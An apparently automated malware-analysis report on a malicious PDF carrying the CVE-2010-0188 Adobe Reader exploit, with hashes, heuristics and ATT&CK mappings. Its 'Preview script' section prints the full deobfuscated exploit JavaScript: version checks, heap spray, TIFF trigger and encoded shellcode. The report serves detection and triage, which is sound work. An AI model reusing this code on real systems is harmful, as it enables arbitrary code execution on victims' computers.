Malicious PDF — malware analysis report

Static analysis result for SHA-256 c0d0952182af5f0d…

MALICIOUS

PDF

12.0 KB First seen: 2012-09-24
MD5: 823f5b915c0af04e50633c6eccee2e64 SHA-1: da53d51c648f5f0e837217b24c3ca7ffcc684f50 SHA-256: c0d0952182af5f0d7487a6d6ffddf089f1a41d7f7fda103ce1381427ae07bf11
172 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File T1566.002 Spearphishing Attachment

The PDF file contains embedded content and an embedded script payload, indicating an attempt to exploit vulnerabilities. The presence of XFA forms and embedded files suggests a complex delivery mechanism. While the specific exploit is not detailed, the structure points towards a malicious PDF designed to execute arbitrary code.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Adobe Reader LibTIFF XFA image exploit — CVE-2010-0188 critical CVE likely CVE_2010_0188
    PDF contains the CVE-2010-0188 exploit template: XFA JavaScript heap-spray setup, a generated TIFF image payload, and assignment of that TIFF data to an XFA image field rawValue to trigger Adobe Reader's LibTIFF parser.
  • XFA numeric JavaScript stager high PDF_XFA_NUMERIC_JS_STAGER
    PDF XFA script reconstructs a hidden JavaScript stage from numeric field data or a character table, then evals the result. The decoder is gated on XFA script, numeric staging, and recovered exploit-like JavaScript or shellcode markers.
  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • Embedded script payload in PDF stream info PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain an HTML/XFA <script> tag without accompanying Windows shell-execution primitives — common in accessible XFA forms but worth surfacing for analyst review.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xdp/ In PDF document text
    • http://www.xfa.org/schema/xfa-template/2.5/In PDF document text
    • http://www.xfa.org/schema/xfa-data/1.0/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0008.bin pdf-embedded-file PDF EmbeddedFile object 8 at offset 0xC6 11611 bytes
SHA-256: 06687d6a06653ff24572134204b4d12cc1886833c189de292bb6f1cefe5af4a1
xfa_numeric_stage_000.js deobfuscated-js XFA caret-number decoded JavaScript (raw) at offset 0x4C0 3422 bytes
SHA-256: d0518e1512d226b9480fa47229c74dd32819236e112ba63f1c3a0298931c37bb
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 3 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var _1l=[];function _2l(){var _3l=app.viewerVersion.toString();_3l=_3l.replace('.','');while(_3l.length<4){_3l+='0';}_3l=parseInt(_3l,10);return _3l;}function _4l(_5l,_6l){while(_5l.length*2<_6l){_5l+=_5l;}_5l=_5l.substring(0,_6l/2);return _5l;}function _7l(_8l){_8l=unescape(_8l);var _9l=_8l.length*2;var _1l0=unescape('%u9090');var _1l1=_4l(_1l0,0x2000-_9l);var _1l2=_8l+_1l1;_1l2=_4l(_1l2,0x80000-0x40);for(var _0=0;_0<0x190;_0++){_1l[_0]=_1l2.substr(0,_1l2.length-1)+_1l0;}return;}function _1l3(_5l,_6l){while(_5l.length<_6l){_5l+=_5l;}_5l=_5l.substring(0,_6l);return _5l;}function _1l4(_1l5){var _5l=_1l5.toString(16);var _6l=_5l.length;var _1l6=(_6l%2)?'0'+_5l:_5l;return _1l6;}function _1l7(_5l){var _1l6='';for(var _0=0;_0<_5l.length;_0+=2){_1l6+='%u';_1l6+=_1l4(_5l.charCodeAt(_0+1));_1l6+=_1l4(_5l.charCodeAt(_0));}return _1l6;}function _1l8(_1l9){var _1l6 ='';for(var _0=0;_0<_1l9.length;_0+=2){var _2l7=_1l9.substr(_0,2);var _1l5=parseInt(_2l7,16);_1l6+=String.fromCharCode(_1l5);}return _1l6;}_2l0();function _2l0(){var _3l=_2l();if(_3l>=0x1f40){var _2l1='SUkqADggAABB';var _2l2=_1l3('QUFB',0x2ae8);var _2l3='QQcAAAEDAAEAAAAwIAAAAQEDAAEAAAABAAAAAwEDAAEAAAABAAAABgEDAAEAAAABAAAAEQEEAAEAAAAIAAAAFwEEAAEAAAAwIAAAUAEDAMwAAACSIAAAAAAAAAAMDAj/////';var _2l4='';var _2l5='';if(_3l<0x2009){_2l4='o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAAfhaASiAgYA98EIBK';_2l5='4c20600f0517804a3c20600f0f63804aa3eb804a3020824a6e2f804a41414141260000000000000000000000000000001239804a6420600f000400004141414141414141b0839090eb16b9640100008b342489f7803ee97406ac340faae2fac3e8e5ffffffe6030e0f0f518ee3530e0f0f86e882401f82605b3ed4585e5c5c5c5c5c5c5c5a5c5c670b0e0f0f5a595c6760610f0f677a7d63625b67814101e3e7470f0f0f5fe7730f0f0ff0df8ccb076740e0400a5fe7630f0f0ff0df8acf7a18655b56fca5677df1bc19e7120f0f0f5fe75e0f0f0ff0df5c65f16786600eb2e7070f0f0f5fe7330f0f0ff0df6f3ecf6b845f3f845d03845d1b847d27b6170f0f0f3ef03ecfa3336e730d232fcec0020ec8edff8ef054b34565844d1f841d7ad6864b2b136ecc6f84632b2b844a33845b0a770ee584451784552f0ee4ec3b46843b840ee13ef03ecff3a38bcf7b08cec0020ec8e4fb34732b277aee84552b0ee4698403448455130ee4840b840ee7864b2b136ecd070fe7e0f1f0f0677b7b7f352020363e213e363b213d3e3b213939206b61683c3e3e3f3e3e20363c6b383f6b3e376e6c393c3e3d3d6e3d696c386c693f6b693c6d6c696a3f6b206b3e3e217f677f306932636d690f90';}else{_2l4='kB+ASjiQhEp9foBK/////wAAAABAAAAAAAAAAAAQAAAAAAAAYxCASiAgYA/fE4BK';_2l5='4c20600fa563804a3c20600f9621804a901f804a3090844a7d7e804a41414141260000000000000000000000000000007188804a6420600f000400004141414141414141b0839090eb16b9640100008b342489f7803ee97406ac34aaaae2fac3e8e5ffffff43a6abaaaaf42b46f6abaaaa234d27e5ba27c5fe9b71fdfbf9f9f9f9f9f9f9fff9f9c2aeabaaaafffcf9c2c5c4aaaac2dfd8c6c7fec224e4a44642e2aaaaaafa42d6aaaaaa557a296ea2c2e545e5affa42c6aaaaaa557a2f6adfbdc0fef35900c2d85419bc42b7aaaaaafa42fbaaaaaa557af9c054c223c5ab1742a2aaaaaafa4296aaaaaa557aca9b6ace21fa9a21f8a621f8be21d88213b2aaaaaa9b559b6a0696cbd6a8868a6b65a7ab6d485a2b55f116e0c021e8ba21b8df7323ee8eb6cb69ca21c68e8e21ef9621feafd2ab4021e0b221f08aab41499ee3219e21ab449b559b6a56062e6adead6b65a7ab6d415e91d68e82df4b21f08eab41cc21a6e121f0b6ab4121ae21ab4223ee8eb6cb68a2aa4245545555c2dededa908585939b849b939e84989b9e849c9c85cec4cd999b9b9a9b9b859399ce9d9ace9b92cbc99c999b9898cb98ccc99dc9cc9acecc99c8c9cccf9ace85ce9b9b84dac2da95cc97c6c8ccaa90';}if(_2l4.length){var _1l6=[_2l1,_2l2,_2l3,_2l4].join('');var _2l6=_1l8(_2l5);var _8l=_1l7(_2l6);_7l(_8l);fromCh.rawValue=_1l6;}}}